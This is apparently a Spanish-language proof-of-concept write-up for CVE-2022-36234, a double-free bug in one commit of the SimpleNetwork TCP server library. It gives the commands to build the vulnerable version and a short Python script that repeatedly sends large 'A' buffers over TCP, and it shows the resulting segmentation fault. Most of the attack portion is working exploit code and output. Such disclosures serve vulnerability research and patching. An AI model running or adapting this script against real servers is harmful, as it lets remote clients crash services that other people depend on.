
Prueba de concepto para CVE-2022-36234
Se descubrió que la confirmación 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 del Servidor TCP SimpleNetwork contiene una vulnerabilidad de doble liberación (double free) que se explota mediante paquetes TCP manipulados. Provocar la doble liberación permitirá a los clientes bloquear cualquier servidor TCP SimpleNetwork de forma remota. En otras situaciones, las vulnerabilidades de doble liberación pueden causar un comportamiento indefinido y potencialmente la ejecución de código en las circunstancias adecuadas.
Para asegurarte de que tienes las herramientas de compilación estándar necesarias para compilar la biblioteca, instala los siguientes paquetes (en la mayoría de los sistemas esto ya estará instalado):
sudo apt-get install build-essential git
La vulnerabilidad se puede reproducir enviando solicitudes consecutivas al servidor que contengan un búfer grande de caracteres en un paquete TCP. Primero, compila la biblioteca 'libSimpleNetwork' y el servidor de ejemplo proporcionado en el código fuente:
git clone https://github.com/kashimAstro/SimpleNetwork.git
cd SimpleNetwork
git checkout 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496
cd src
make
cd ../example-server
make
./server 80 1
import socket
host = "localhost"
port = 80 # El mismo puerto utilizado por el servidor
buf = b'A'*10000
try:
for i in range(50):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(buf)
data = s.recv(1024)
s.close()
print('Received', repr(data))
except:
print("Completed...")
python3 poc.py
Si tiene éxito, el servidor se bloqueará y verás la siguiente salida de la aplicación:
segmentation fault ./server 80 1